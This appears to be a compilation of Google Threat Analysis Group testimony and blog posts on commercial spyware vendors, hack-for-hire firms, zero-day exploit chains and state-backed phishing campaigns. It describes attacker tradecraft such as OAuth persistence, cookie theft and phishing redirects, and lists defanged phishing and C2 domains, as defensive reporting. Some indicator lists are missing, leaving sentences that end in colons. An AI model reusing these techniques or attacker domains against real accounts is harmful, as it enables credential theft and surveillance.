Google was able to identify the vulnerability in use and fix the exploit quickly.


In December 2021, we released research about novel techniques used by NSO Group to compromise iMessage users.


iPhone users could be compromised by receiving a malicious iMessage text, without ever needing to click a malicious link.


Short of not using a device, there is no way to prevent exploitation by a zero-click exploit; it's a weapon against which there is no defense.


Based on our research and findings, we assessed this to be one of the most technically sophisticated exploits we had ever seen, further demonstrating that the capabilities NSO provides rival those previously thought to be accessible to only a handful of nation states.


Although this Committee must be concerned with the exploits of NSO Group, it is not the only entity posing risks to our users.


For example, TAG discovered campaigns targeting Armenian users which utilized zero-day vulnerabilities in Chrome and Internet Explorer.


We assessed that a surveillance vendor packaged and sold these technologies.


Reporting by CitizenLab linked this activity to Candiru, an Israeli spyware vendor.


Other reporting from Microsoft has linked this spyware to the compromise of dozens of victims, including political dissidents, human rights activists, journalists, and academics.


Most recently, we reported in May on five zero-day vulnerabilities affecting Chrome and Android which were used to compromise Android users.


We assess with high confidence that commercial surveillance company Cytrox packaged these vulnerabilities, and sold the hacking software to at least eight governments.


Among other targets, this spyware was used to compromise journalists and opposition politicians.


Our reporting is consistent with earlier analysis produced by CitizenLab and Meta.


TAG also recently released information on a segment of attackers we call “hack-for-hire” that focuses on compromising accounts and exfiltrating data as a service.


In contrast to commercial surveillance vendors, who we generally observe selling a capability for the end user to operate, hack-for-hire firms conduct attacks themselves.


They target a wide range of users and opportunistically take advantage of known security flaws when undertaking their campaigns.


In June, we provided examples of the hack-for-hire ecosystem from India, Russia, and the United Arab Emirates.


The growth of commercial spyware vendors and hack-for-hire groups has necessitated growth in TAG to counter these threats.


Where once we only needed substreams to focus on threat actors such as China, Russia, and North Korea, TAG now has a dedicated analysis subteam dedicated to commercial vendors and operators.


Our findings underscore the extent to which commercial surveillance vendors have proliferated capabilities historically only used by governments.


These vendors operate with deep technical expertise to develop and operationalize exploits.


We believe its use is growing, fueled by demand from governments.


Seven of the nine zero-day vulnerabilities our Threat Analysis Group discovered in 2021 were originally developed by commercial providers and sold to and used by state-sponsored actors.


TAG is actively tracking more than 30 vendors with varying levels of sophistication and public exposure selling exploits or surveillance capabilities to state-sponsored actors.


This industry appears to be thriving.


These vendors are enabling the proliferation of dangerous hacking tools, arming nation state actors that would not otherwise be able to develop these capabilities in-house.


While use of surveillance technologies may be legal under national or international laws, they are found to be used by some state actors for purposes antithetical to democratic values: targeting dissidents, journalists, human rights workers, and opposition party politicians.


We have also observed proliferation risk from nation state actors attempting to gain access to the exploits of these vendors.


Last year, TAG identified an ongoing campaign targeting security researchers working on vulnerability research and development at different companies and organizations.


In addition to these concerns, there are other reasons why this industry presents a risk more broadly across the Internet.


While vulnerability research is an important contributor to online safety when that research is used to improve the security of products, vendors stockpiling zero-day vulnerabilities in secret can pose a severe risk to the Internet when the vendor itself gets compromised.


This has happened to multiple spyware vendors over the past ten years, raising the specter that their stockpiles can be released publicly without warning.


The proliferation of commercial hacking tools is a threat to national security, making the Internet less safe and undermining the trust on which a vibrant, inclusive digital society depends.


This is why when Google discovers these activities, we not only take steps to protect users, but also disclose that information publicly to raise awareness and help the entire ecosystem, in line with our historical commitment to openness and democratic values.


Across all Google products, we incorporate industry-leading security features and protections to keep our users safe.


On Search, Google’s Safe Browsing is an industry-leading service to identify unsafe websites across the web and notify users and website owners of potential harm.


Google Safe Browsing helps protect over four billion devices every day by showing warnings to users when they attempt to navigate to unsafe sites or download harmful files.


Safe Browsing also notifies webmasters when their websites are compromised by malicious actors and helps them diagnose and resolve the problem so that their visitors stay safer.


On Gmail, we recommend certain Gmail security precautions to prevent spoofing, phishing, and spam.


Spoofers may send forged messages using an organization’s real name or domain to subvert authentication measures.


We use email authentication to protect against email spoofing, which is when email content is changed to make the message appear from someone or somewhere other than the actual source.


And we offer other advanced phishing and malware protection to administrators to better protect their users.


By default, Gmail displays warnings and moves untrustworthy emails to the user’s spam folder.


However administrators can also use advanced security settings to enhance their users’ protection against suspicious attachments and scripts from untrusted senders.


For Android, through its entire development lifecycle, we subject the products to a rigorous security program.


The Android security process begins early in the development lifecycle, and each major feature of the platform is reviewed by engineering and security resources.


We ensure appropriate controls are built into the architecture of the system.


During the development stage, Android-created and open source components are subject to vigorous security reviews


For users, Android provides safety and control over how apps and third parties can access the data from their devices.


For example, users are provided visibility into the permissions requested by each app, and they are able to control those permissions.


We have also built additional tools to prevent successful attacks on devices that run Android once those devices are in users’ hands.


For example, Google Play Protect, our built-in malware protection for Android, continuously scans devices for potentially harmful applications.


Although our security precautions are robust, security issues can still occur, which is why we created a comprehensive security response process to respond to incidents.


Google manages a vulnerability rewards program (VRP), rewarding researchers millions of dollars for their contributions in securing our devices and platforms.


We also provide research grants to security researchers to help fund and support the research community.


This is all part of a larger strategy to keep Google products and users, as well as the Internet at large more secure.


Project Zero is also a critical component of this strategy, pushing transparency and more timely patching of vulnerabilities.


Finally, we also offer the leading tools to protect important civil society actors such as journalists, human rights workers, opposition party politicians, and campaign organizations – in other words, the users who are frequently targeted by surveillance tools.


Google developed Project Shield, a free protection against distributed denial of service (DDoS) attacks, to protect news media and human rights organization websites.


To protect high risk user accounts, we offer the Advanced Protection Program (APP), which is our highest form of account security.


APP has a strong track record protecting users – since the program’s inception, there are no documented cases of an account compromise via phishing.


We believe it is time for government, industry and civil society to come together to change the incentive structure which has allowed these technologies to spread in secret.


The first step is to understand the scope of the problem.


We appreciate the Committee’s focus on this issue, and recommend the U.S. Intelligence Community prioritize identifying and analyzing threats from foreign commercial spyware providers as being on par with other major advanced threat actors.


The U.S. should also consider ways to foster greater transparency in the marketplace, including setting heightened transparency requirements for the domestic surveillance industry.


The U.S. could also set an example to other governments by reviewing and disclosing its own historical use of these tools.


We welcome recent steps taken by the government in applying sanctions to the NSO Group and Candiru, and we believe other governments should consider expanding these restrictions.


Additionally, the U.S. government should consider a full ban on Federal procurement of commercial spyware technologies and contemplate imposing further sanctions to limit spyware vendors’ ability to operate in the U.S. and receive U.S. investment.


The harms from this industry are amply evident by this point, and we believe they outweigh any benefit to continued use.


Finally, we urge the United States to lead a diplomatic effort to work with the governments of the countries who harbor problematic vendors, as well as those who employ these tools, to build support for measures that limit harms caused by this industry.


Any one government’s ability to meaningfully impact this market is limited; only through a concerted international effort can this serious risk to online safety be mitigated.


Google is investing heavily as a company and as an industry to counter serious threats to our users.


In the modern world, we must be able to trust the devices we use every day and ensure that foreign adversaries do not have access to sophisticated exploits.


While we continue to fight these threats on a technical level, the providers of these capabilities operate openly in democratic countries.


Google is committed to leading the industry in detecting and disrupting these threats.


I thank the Committee for this attention on this critical issue.


Google’s Threat Analysis Group (TAG) continues to closely monitor the cybersecurity environment in Eastern Europe with regard to the war in Ukraine.


Many Russian government cyber assets have remained focused on Ukraine and related issues since the invasion began, while Russian APT activity outside of Ukraine largely remains the same.


TAG continues to disrupt campaigns from multiple sets of Russian government-backed attackers, some of which are detailed in our previous updates.


Similarly, Russian observed disinformation efforts are also focused on the war in Ukraine and TAG has disrupted coordinated influence operations from several actors including the Internet Research Agency and a Russian consulting firm as detailed in the TAG Bulletin.


Here is a deeper look at some campaign activity TAG has observed since our last update: Turla, a group publicly attributed to Russia’s Federal Security Service (FSB), recently hosted Android apps on a domain spoofing the Ukrainian Azov Regiment.


This is the first known instance of Turla distributing Android-related malware.


The apps were not distributed through the Google Play Store, but hosted on a domain controlled by the actor and disseminated via links on third party messaging services.


We believe there was no major impact on Android users and that the number of installs was miniscule.


The app is distributed under the guise of performing Denial of Service (DoS) attacks against a set of Russian websites.


However, the 'DoS' consists only of a single GET request to the target website, not enough to be effective.


The list of target websites for the app can be seen in the CyberChef recipe here.


During our investigation into the Turla CyberAzov apps, we identified another Android app first seen in the wild in March 2022 that also claimed to conduct DoS attacks against Russian websites.


In this case, the Android app name was stopwar.apk (com.ddos.stopwar) and was distributed from the website stopwar.pro.


This app is quite different from the Turla apps described above and written by a different developer.


It also downloads a list of targets from an external site, but unlike the Turla apps, it continually sends requests to the target websites until it is stopped by the user.


Based on our analysis, we believe that the StopWar app was developed by pro-Ukrainian developers and was the inspiration for what Turla actors based their fake CyberAzov DoS app off of.


Indicators: The Follina vulnerability (CVE-2022-30190), first disclosed in late May, received significant usage from both APT and cybercrime groups throughout June after it was patched by Microsoft.


Follina is a remote code execution (RCE) vulnerability in the Microsoft Windows Support Diagnostic Tool (MSDT).


Consistent with CERT-UA reporting, TAG observed multiple Russian GRU actors - APT28 and Sandworm - conduct campaigns exploiting the Follina vulnerability.


The Sandworm campaign used compromised government accounts to send links to Microsoft Office documents hosted on compromised domains, primarily targeting media organizations in Ukraine.


TAG has also observed an increasing number of financially motivated actors targeting Ukraine.


One recent campaign from a group tracked by CERT-UA as UAC-0098 delivered malicious documents with the Follina exploit in password-protected archives, impersonating the State Tax Service of Ukraine.


We assess this actor is a former initial ransomware access broker who previously worked with the Conti ransomware group distributing the IcedID banking trojan based on overlaps in infrastructure, tools used in previous campaigns, and a unique cryptor.


Ghostwriter/UNC1151, a threat actor attributed to Belarus, has remained active targeting accounts of webmail and social media networks of Polish users.


They continue to use the 'Browser in the Browser' phishing technique that TAG first observed and described in March.


An example of this technique, used to target Facebook users, can be seen in the screenshot below.


COLDRIVER, a Russian-based threat actor sometimes referred to as Callisto, continues to send credential phishing emails to targets including government and defense officials, politicians, NGOs and think tanks, and journalists.


In addition to including phishing links directly in the email, the attackers also link to PDFs and/or DOCs, hosted on Google Drive and Microsoft One Drive, that contain a link to an attacker-controlled phishing domain.


These phishing domains have been blocked through Google Safe Browsing – a service that identifies unsafe websites across the web and notifies users and website owners of potential harm.


Recently observed COLDRIVER indicators: In another campaign tracked by CERT-UA as UAC-0056 we observed compromised email addresses of a Regional Prosecutor’s office of Ukraine leveraged to send malicious Microsoft Excel documents with VBA macros delivering Cobalt Strike.


In just two days, the volume observed and categorized as spam by Gmail exceeded 4,500 emails.


As part of TAG's mission to counter serious threats to Google and our users, we've published analysis on a range of persistent threats including government-backed attackers, commercial surveillance vendors, and serious criminal operators.


Today, we're sharing intelligence on a segment of attackers we call hack-for-hire, whose niche focuses on compromising accounts and exfiltrating data as a service.


In contrast to commercial surveillance vendors, who we generally observe selling a capability for the end user to operate, hack-for-hire firms conduct attacks themselves.


They target a wide range of users and opportunistically take advantage of known security flaws when undertaking their campaigns.


Both, however, enable attacks by those who would otherwise lack the capabilities to do so.


We have seen hack-for-hire groups target human rights and political activists, journalists, and other high-risk users around the world, putting their privacy, safety and security at risk.


They also conduct corporate espionage, handily obscuring their clients’ role.


To help users and defenders, we will provide examples of the hack-for-hire ecosystem from India, Russia, and the United Arab Emirates and context around their capabilities and persistence mechanisms.


The hack-for-hire landscape is fluid, both in how the attackers organize themselves and in the wide range of targets they pursue in a single campaign at the behest of disparate clients.


Some hack-for-hire attackers openly advertise their products and services to anyone willing to pay, while others operate more discreetly selling to a limited audience.


For example, TAG has observed Indian hack-for-hire firms work with third party private investigative services — intermediaries that reach out for services when a client requires them — and provide data exfiltrated from a successful operation.


This is detailed in depth in today’s Reuters investigation into the Indian hack-for-hire ecosystem.


We have also observed Indian hack-for-hire firms work with freelance actors not directly employed by the firms themselves.


The breadth of targets in hack-for-hire campaigns stands in contrast to many government-backed operations, which often have a clearer delineation of mission and targets.


A recent campaign from an Indian hack-for-hire operator was observed targeting an IT company in Cyprus, an education institution in Nigeria, a fintech company in the Balkans and a shopping company in Israel.


Since 2012, TAG has been tracking an interwoven set of Indian hack-for-hire actors, with many having previously worked for Indian offensive security providers Appin and Belltrox.


One cluster of this activity frequently targets government, healthcare, and telecom sectors in Saudi Arabia, the United Arab Emirates, and Bahrain with credential phishing campaigns.


These credential phishing campaigns have ranged from targeting specific government organizations to AWS accounts to Gmail accounts.


TAG has linked former employees of both Appin and Belltrox to Rebsec, a new firm that openly advertises corporate espionage as an offering on its company website.


While investigating a 2017 credential phishing campaign that targeted a prominent Russian anti-corruption journalist, we discovered the Russian attacker targeting other journalists, politicians across Europe, and various NGOs and non-profit organizations.


This hack-for-hire actor has been publicly referred to as 'Void Balaur'.


These campaigns were similar regardless of target, consisting of a credential phishing email with a link to an attacker-controlled phishing page.


The lures ranged from fake Gmail and other webmail provider notifications to messages spoofing Russian government organizations.


After the target account was compromised, the attacker generally maintained persistence by granting an OAuth token to a legitimate email application like Thunderbird or generating an App Password to access the account via IMAP.


Both OAuth tokens and App Passwords are revoked when a user changes their password.


During our early investigation, TAG discovered the attacker’s public website (no longer available) advertising account hacking capabilities for email and social media services.


The site claimed to have received positive reviews on Russian underground forums such as Dublikat and Probiv.cc.


Over the past five years, TAG has observed the group targeting accounts at major webmail providers like Gmail, Hotmail, and Yahoo! and regional webmail providers like abv.bg, mail.ru, inbox.lv, and UKR.net.


United Arab Emirates TAG is also tracking a hack-for-hire group now based in the United Arab Emirates that is mostly active in the Middle East and North Africa.


They have primarily targeted government, education, and political organizations including Middle East focused NGOs in Europe and the Palestinian political party Fatah.


Amnesty International has also reported on their campaigns.


The group commonly uses Google or OWA password reset lures to steal credentials from targets, often using the MailJet or SendGrid API to send phishing emails.


Unlike many hack-for-hire actors that use open source phishing frameworks like Evilginx or GoPhish, this group uses a custom phishing kit that utilizes Selenium, a self described 'suite of tools for automating web browsers.'


Previously described by Amnesty, this phishing kit has remained under active development over the past five years.


After compromising an account, the actor maintains persistence by granting themselves an OAuth token to a legitimate email app like Thunderbird, or by linking the victim Gmail account to an attacker-owned account on a third-party mail provider.


The attacker would then use a custom tool to download the mailbox contents via IMAP.


This group also has links to the original developers of H-Worm, also known as njRAT.


In 2014, Microsoft filed a civil suit against the developer, Mohammed Benabdellah, for the development and dissemination of H-Worm.


Benabdellah, who also goes by the moniker Houdini, has been actively involved in the day-to-day development and operational deployment of the credential phishing capabilities used by this group since its inception.


As part of our efforts to combat serious threat actors, we use results of our research to improve the safety and security of our products.


Upon discovery, all identified websites and domains were added to Safe Browsing to protect users from further harm.


We encourage any high risk user to enable Advanced Protection and Google Account Level Enhanced Safe Browsing and ensure that all devices are updated.


Additionally, our CyberCrime Investigation Group is sharing relevant details and indicators with law enforcement.


TAG is committed to sharing our findings as a way of raising awareness with the security community, and with companies and individuals that might have been targeted.


We hope that improved understanding of the tactics and techniques will enhance threat hunting capability and lead to stronger user protections across the industry.


With contributions from Winnona DeSombre UAE hack-for-hire Group Domains: Indian hack-for-hire Group Domains: Russian hack-for-hire Group Domains:


Google’s Threat Analysis Group tracks actors involved in disinformation campaigns, government backed hacking, and financially motivated abuse.


Since late 2019, our team has disrupted financially motivated phishing campaigns targeting YouTubers with Cookie Theft malware.


The actors behind this campaign, which we attribute to a group of hackers recruited in a Russian-speaking forum, lure their target with fake collaboration opportunities (typically a demo for anti-virus software, VPN, music players, photo editing or online games), hijack their channel, then either sell it to the highest bidder or use it to broadcast cryptocurrency scams.


In collaboration with YouTube, Gmail, Trust & Safety, CyberCrime Investigation Group and Safe Browsing teams, our protections have decreased the volume of related phishing emails on Gmail by 99.6% since May 2021.


We blocked 1.6M messages to targets, displayed ~62K Safe Browsing phishing page warnings, blocked 2.4K files, and successfully restored ~4K accounts.


With increased detection efforts, we’ve observed attackers shifting away from Gmail to other email providers (mostly email.cz, seznam.cz, post.cz and aol.com).


Moreover, to protect our users, we have referred the below activity to the FBI for further investigation.


In this blog, we share examples of the specific tactics, techniques and procedures (TTPs) used to lure victims, as well as some guidance on how users can further protect themselves.


Cookie Theft, also known as “pass-the-cookie attack,” is a session hijacking technique that enables access to user accounts with session cookies stored in the browser.


While the technique has been around for decades, its resurgence as a top security risk could be due to a wider adoption of multi-factor authentication (MFA) making it difficult to conduct abuse, and shifting attacker focus to social engineering tactics.


Many YouTube creators provide an email address on their channel for business opportunities.


In this case, the attackers sent forged business emails impersonating an existing company requesting a video advertisement collaboration.


The phishing typically started with a customized email introducing the company and its products.


Once the target agreed to the deal, a malware landing page disguised as a software download URL was sent via email or a PDF on Google Drive, and in a few cases, Google documents containing the phishing links.


Around 15,000 actor accounts were identified, most of which were created for this campaign specifically.


The attackers registered various domains associated with forged companies and built multiple websites for malware delivery.


To date, we’ve identified at least 1,011 domains created solely for this purpose.


Some of the websites impersonated legitimate software sites, such as Luminar, Cisco VPN, games on Steam, and some were generated using online templates.


During the pandemic, we also uncovered attackers posing as news providers with a “Covid19 news software.”


In one case, we observed a fake social media page copying content from an existing software company.


The following screenshot is an example of a fake page where the original URL is replaced with one leading to a cookie theft malware download.


Because Google actively detects and disrupts phishing links sent via Gmail, the actors were observed driving targets to messaging apps like WhatsApp, Telegram or Discord.


Once the target runs the fake software, a cookie stealing malware executes, taking browser cookies from the victim’s machine and uploading them to the actor's command & control servers.


Although this type of malware can be configured to be persistent on the victim's machine, these actors are running all malware in non-persistent mode as a smash-and-grab technique.


This is because if the malicious file is not detected when executed, there are less artifacts on an infected host and therefore security products fail to notify the user of a past compromise.


We have observed that actors use various types of malware based on personal preference, most of which are easily available on Github.


Some commodity malware used included RedLine, Vidar, Predator The Thief, Nexus stealer, Azorult, Raccoon, Grand Stealer, Vikro Stealer, Masad (Google’s naming), and Kantal (Google’s naming) which shares code similarity with Vidar.


Open source malware like Sorano and AdamantiumThief were also observed.


Related hashes are listed in the Technical Details section, at the end of this report.


Most of the observed malware was capable of stealing both user passwords and cookies.


Some of the samples employed several anti-sandboxing techniques including enlarged files, encrypted archive and download IP cloaking.


A few were observed displaying a fake error message requiring user click-through to continue execution.


A large number of hijacked channels were rebranded for cryptocurrency scam live-streaming.


The channel name, profile picture and content were all replaced with cryptocurrency branding to impersonate large tech or cryptocurrency exchange firms.


The attacker live-streamed videos promising cryptocurrency giveaways in exchange for an initial contribution.


On account-trading markets, hijacked channels ranged from $3 USD to $4,000 USD depending on the number of subscribers.


These campaigns were carried out by a number of hack-for-hire actors recruited on Russian-speaking forums via the following job description, offering two types of work: This recruitment model explains the highly customized social engineering, as well as the varied malware types given each actor's choice of preferred malware.


We are continuously improving our detection methods and investing in new tools and features that automatically identify and stop threats like this one.


Some of these improvements include: It is also important that users remain aware of these types of threats and take appropriate action to further protect themselves.


Our recommendations: Additional resources: Avoid & Report Phishing Emails.


Related Malware hashes: Top Phishing Domains:


Google’s Threat Analysis Group tracks actors involved in disinformation campaigns, government backed hacking, and financially motivated abuse.


We have a long-standing policy to send you a warning if we detect that your account is a target of government-backed phishing or malware attempts.


So far in 2021, we’ve sent over 50,000 warnings, a nearly 33% increase from this time in 2020.


This spike is largely due to blocking an unusually large campaign from a Russian actor known as APT28 or Fancy Bear.


We intentionally send these warnings in batches to all users who may be at risk, rather than at the moment we detect the threat itself, so that attackers cannot track our defense strategies.


On any given day, TAG is tracking more than 270 targeted or government-backed attacker groups from more than 50 countries.


This means that there is typically more than one threat actor behind the warnings.


In this blog, we explore some of the most notable campaigns we’ve disrupted this year from a different government-backed attacker: APT35, an Iranian group, which regularly conducts phishing campaigns targeting high risk users.


This is the one of the groups we disrupted during the 2020 US election cycle for its targeting of campaign staffers.


For years, this group has hijacked accounts, deployed malware, and used novel techniques to conduct espionage aligned with the interests of the Iranian government.


In early 2021, APT35 compromised a website affiliated with a UK university to host a phishing kit.


Attackers sent email messages with links to this website to harvest credentials for platforms such as Gmail, Hotmail, and Yahoo.


Users were instructed to activate an invitation to a (fake) webinar by logging in.


The phishing kit will also ask for second-factor authentication codes sent to devices.


APT35 has relied on this technique since 2017 — targeting high-value accounts in government, academia, journalism, NGOs, foreign policy, and national security.


Credential phishing through a compromised website demonstrates these attackers will go to great lengths to appear legitimate – as they know it's difficult for users to detect this kind of attack.


In May 2020, we discovered that APT35 attempted to upload spyware to the Google Play Store.


The app was disguised as VPN software that, if installed, could steal sensitive information such as call logs, text messages, contacts, and location data from devices.


Google detected the app quickly and removed it from the Play Store before any users had a chance to install it.


Although Play Store users were protected, we are highlighting the app here as TAG has seen APT35 attempt to distribute this spyware on other platforms as recently as July 2021.


One of the most notable characteristics of APT35 is their impersonation of conference officials to conduct phishing attacks.


Attackers used the Munich Security and the Think-20 (T20) Italy conferences as lures in non-malicious first contact email messages to get users to respond.


When they did, attackers sent them phishing links in follow-on correspondence.


Targets typically had to navigate through at least one redirect before landing on a phishing domain.


Link shorteners and click trackers are heavily used for this purpose, and are oftentimes embedded within PDF files.


We’ve disrupted attacks using Google Drive, App Scripts, and Sites pages in these campaigns as APT35 tries to get around our defenses.


Services from Dropbox and Microsoft are also abused.


One of APT35’s novel techniques involves using Telegram for operator notifications.


The attackers embed javascript into phishing pages that notify them when the page has been loaded.


To send the notification, they use the Telegram API sendMessage function, which lets anyone use a Telegram bot to send a message to a public channel.


The attackers use this function to relay device-based data to the channel, so they can see details such as the IP, useragent, and locales of visitors to their phishing sites in real-time.


We reported the bot to Telegram and they have taken action to remove it.


We warn users when we suspect a government-backed threat like APT35 is targeting them.


Thousands of these warnings are sent every month, even in cases where the corresponding attack is blocked.


If you receive a warning it does not mean your account has been compromised, it means you have been identified as a target.


Workspace administrators are also notified regarding targeted accounts in their domain.


Users are encouraged to take these warnings seriously and consider enrolling in the Advanced Protection Program or enabling two-factor authentication if they haven't already.


We also block malicious domains using Google Safe Browsing – a service that Google's security team built to identify unsafe websites across the web and notify users and website owners of potential harm.


When a user of a Safe Browsing-enabled browser or app attempts to access unsafe content on the web, they’ll see a warning page explaining that the content they’re trying to access may be harmful.


When a site identified by Safe Browsing as harmful appears in Google Search results, we show a warning next to it in the results.


Threat Analysis Group will continue to identify bad actors and share relevant information with others in the industry, with the goal of bringing awareness to these issues, protecting you and fighting bad actors to prevent future attacks.


Indicators from APT28 phishing campaign: service-reset-password-moderate-digital.rf[.]gd reset-service-identity-mail.42web[.]io digital-email-software.great-site[.]net  Indicators from APT35 campaigns:  Abused Google Properties: https://sites.google[.]com/view/ty85yt8tg8-download-rtih4ithr/ https://sites.google[.]com/view/user-id-568245/ https://sites.google[.]com/view/hhbejfdwdhwuhscbsb-xscvhdvbc/  Abused Dropbox Properties: https://www.dropbox[.]com/s/68y4vpfu8pc3imf/Iraq&Jewish.pdf  Phishing Domains: nco2[.]live summit-files[.]com filetransfer[.]club continuetogo[.]me accessverification[.]online customers-verification-identifier[.]site service-activity-session[.]online identifier-service-review[.]site recovery-activity-identification[.]site review-session-confirmation[.]site recovery-service-activity[.]site verify-service-activity[.]site service-manager-notifications[.]info


Android App: https://www.virustotal.com/gui/file/5d3ff202f20af915863eee45916412a271bae1ea3a0e20988309c16723ce4da5/detection  Android App C2: communication-shield[.]site cdsa[.]xyz


To protect our users, Google’s Threat Analysis Group (TAG) routinely hunts for 0-day vulnerabilities exploited in-the-wild.


In 2021, we reported nine 0-days affecting Chrome, Android, Apple and Microsoft, leading to patches to protect users from these attacks.


This blog is a follow up to our July 2021 post on four 0-day vulnerabilities we discovered in 2021, and details campaigns targeting Android users with five distinct 0-day vulnerabilities: We assess with high confidence that these exploits were packaged by a single commercial surveillance company, Cytrox, and sold to different government-backed actors who used them in at least the three campaigns discussed below.


Consistent with findings from CitizenLab, we assess likely government-backed actors purchasing these exploits are operating (at least) in Egypt, Armenia, Greece, Madagascar, Côte d’Ivoire, Serbia, Spain and Indonesia.


The 0-day exploits were used alongside n-day exploits as the developers took advantage of the time difference between when some critical bugs were patched but not flagged as security issues and when these patches were fully deployed across the Android ecosystem.


Our findings underscore the extent to which commercial surveillance vendors have proliferated capabilities historically only used by governments with the technical expertise to develop and operationalize exploits.


Seven of the nine 0-days TAG discovered in 2021 fall into this category: developed by commercial providers and sold to and used by government-backed actors.


TAG is actively tracking more than 30 vendors with varying levels of sophistication and public exposure selling exploits or surveillance capabilities to government-backed actors.


All three campaigns delivered one-time links mimicking URL shortener services to the targeted Android users via email.


The campaigns were limited — in each case, we assess the number of targets was in the tens of users.


Once clicked, the link redirected the target to an attacker-owned domain that delivered the exploits before redirecting the browser to a legitimate website.


If the link was not active, the user was redirected directly to a legitimate website.


We've seen this technique used against journalists and other unidentified targets, and alerted those users when possible.


We assess that these campaigns delivered ALIEN, a simple Android malware in charge of loading PREDATOR, an Android implant described by CitizenLab in December 2021.


ALIEN lives inside multiple privileged processes and receives commands from PREDATOR over IPC.


These commands include recording audio, adding CA certificates, and hiding apps.


The first campaign, detected in August 2021, used Chrome on a Samsung Galaxy S21 and the web server immediately replied with a HTTP redirect (302) pointing to the following intent URL.


This URL abused a logic flaw and forced Chrome to load another URL in the Samsung Browser without user interaction or warnings.


We did not capture the subsequent stages, but assess the attackers did not have exploits for the current version of Chrome (91.0.4472) at that time, but instead used n-day exploits targeting Samsung Browser, which was running an older and vulnerable version of Chromium.


We assess with high confidence this vulnerability was sold by an exploit broker and probably abused by more than one surveillance vendor.


More technical details about this vulnerability are available in this RCA by Maddie Stone.


Related IOCs


In September 2021, TAG detected a campaign where the exploit chain was delivered to a fully up-to-date Samsung Galaxy S10 running the latest version of Chrome.


We recovered the exploit used to escape the Chrome Sandbox, but not the initial RCE exploit.


The sandbox escape was loaded directly as an ELF binary embedding libchrome.so and a custom libmojo_bridge.so was used to ease the communication with the Mojo IPCs.


This means the renderer exploit did not enable MojoJS bindings like we often see in public exploits.


Analysis of the exploit identified two different vulnerabilities in Chrome: After escaping the sandbox, the exploit downloaded another exploit in /data/data/com.android.chrome/p.so to elevate privileges and install the implant.


We haven’t retrieved a copy of the exploit.


In October 2021, we detected a full chain exploit from an up-to-date Samsung phone running the latest version of Chrome.


The chain included two 0-day exploits: Of note, CVE-2021-1048 was fixed in the Linux kernel in September 2020, over a year before this campaign.


The commit was not flagged as a security issue and therefore the patch was not backported in most Android kernels.


At the time of the exploit, all Samsung kernels were vulnerable; LTS kernels running on Pixel phones were recent enough and included the fix for this bug.


Unfortunately, this is not the first time we have seen this happen with exploits in the wild; the 2019 Bad Binder vulnerability is another example.


In both cases, the fix was not flagged as a security issue and thus not backported to all (or any) Android kernels.


Attackers are actively looking for and profiting from such slowly-fixed vulnerabilities.


We’d be remiss if we did not acknowledge the quick response and patching of these vulnerabilities by Google’s Chrome and Android teams.


We would also like to thank Project Zero for their technical assistance in helping analyze these bugs.


TAG continues to track more than 30 vendors with varying levels of sophistication and public exposure selling exploits or surveillance capabilities to government-backed actors.


We remain committed to updating the community as we uncover these campaigns.


Tackling the harmful practices of the commercial surveillance industry will require a robust, comprehensive approach that includes cooperation among threat intelligence teams, network defenders, academic researchers and technology platforms.


We look forward to continuing our work in this space and advancing the safety and security of our users around the world.


NOTE: On May 20th, we updated our attribution to more precisely describe our findings.


Google’s Threat Analysis Group (TAG) has been closely monitoring the cybersecurity activity in Eastern Europe with regard to the war in Ukraine.


Since our last update, TAG has observed a continuously growing number of threat actors using the war as a lure in phishing and malware campaigns.


Similar to other reports, we have also observed threat actors increasingly target critical infrastructure entities including oil and gas, telecommunications and manufacturing.


Financially motivated and criminal actors are also using current events as a means for targeting users.


As always, we continue to publish details surrounding the actions we take against coordinated influence operations in our quarterly TAG bulletin.


We promptly identify and remove any such content but have not observed any significant shifts from the normal levels of activity that occur in the region.


Here is a deeper look at the campaign activity TAG has observed and the actions the team has taken to protect our users over the past few weeks: APT28 or Fancy Bear, a threat actor attributed to Russia GRU, was observed targeting users in Ukraine with a new variant of malware.


The malware, distributed via email attachments inside of password protected zip files (ua_report.zip), is a .Net executable that when executed steals cookies and saved passwords from Chrome, Edge and Firefox browsers.


The data is then exfiltrated via email to a compromised email account.


Malware samples:


TAG would like to thank the Yahoo! Paranoids Advanced Cyber Threats Team for their collaboration in this investigation.


Turla, a group TAG attributes to Russia FSB, continues to run campaigns against the Baltics, targeting defense and cybersecurity organizations in the region.


Similar to recently observed activity, these campaigns were sent via email and contained a unique link per target that led to a DOCX file hosted on attacker controlled infrastructure.


When opened, the DOCX file would attempt to download a unique PNG file from the same attacker controlled domain.


Recently observed Turla domains: COLDRIVER, a Russian-based threat actor sometimes referred to as Callisto, continues to use Gmail accounts to send credential phishing emails to a variety of Google and non-Google accounts.


The targets include government and defense officials, politicians, NGOs and think tanks, and journalists.


The group's tactics, techniques and procedures (TTPs) for these campaigns have shifted slightly from including phishing links directly in the email, to also linking to PDFs and/or DOCs hosted on Google Drive and Microsoft One Drive.


Within these files is a link to an attacker controlled phishing domain.


These phishing domains have been blocked through Google Safe Browsing – a service that identifies unsafe websites across the web and notifies users and website owners of potential harm.


Recently observed COLDRIVER credential phishing domains: Ghostwriter, a Belarusian threat actor, has remained active during the course of the war and recently resumed targeting of Gmail accounts via credential phishing.


If the user clicked continue, they would be redirected to an attacker controlled site that collected the users credentials.


There were no accounts compromised from this campaign and Google will alert all targeted users of these attempts through our monthly government-backed attacker warnings.


Both pages from this campaign are shown below.


In mid-April, TAG detected a Ghostwriter credential phishing campaign targeting Facebook users.


The targets, primarily located in Lithuania, were sent links to attacker controlled domains from a domain spoofing the Facebook security team.


Recently observed Ghostwriter credential phishing domains and emails: Curious Gorge, a group TAG attributes to China's PLA SSF, has remained active against government, military, logistics and manufacturing organizations in Ukraine, Russia and Central Asia.


In Russia, long running campaigns against multiple government organizations have continued, including the Ministry of Foreign Affairs.


Over the past week, TAG identified additional compromises impacting multiple Russian defense contractors and manufacturers and a Russian logistics company.


Upon discovery, all identified websites and domains were added to Safe Browsing to protect users from further exploitation.


We also send all targeted Gmail and Workspace users government-backed attacker alerts notifying them of the activity.


We encourage any potential targets to enable Google Account Level Enhanced Safe Browsing and ensure that all devices are updated.


The team continues to work around the clock, focusing on the safety and security of our users and the platforms that help them access and share important information.


We’ll continue to take action, identify bad actors and share relevant information with others across industry and governments, with the goal of bringing awareness to these issues, protecting users and preventing future attacks.


In early March, Google’s Threat Analysis Group (TAG) published an update on the cyber activity it was tracking with regard to the war in Ukraine.


Since our last update, TAG has observed a continuously growing number of threat actors using the war as a lure in phishing and malware campaigns.


Financially motivated and criminal actors are also using current events as a means for targeting users.


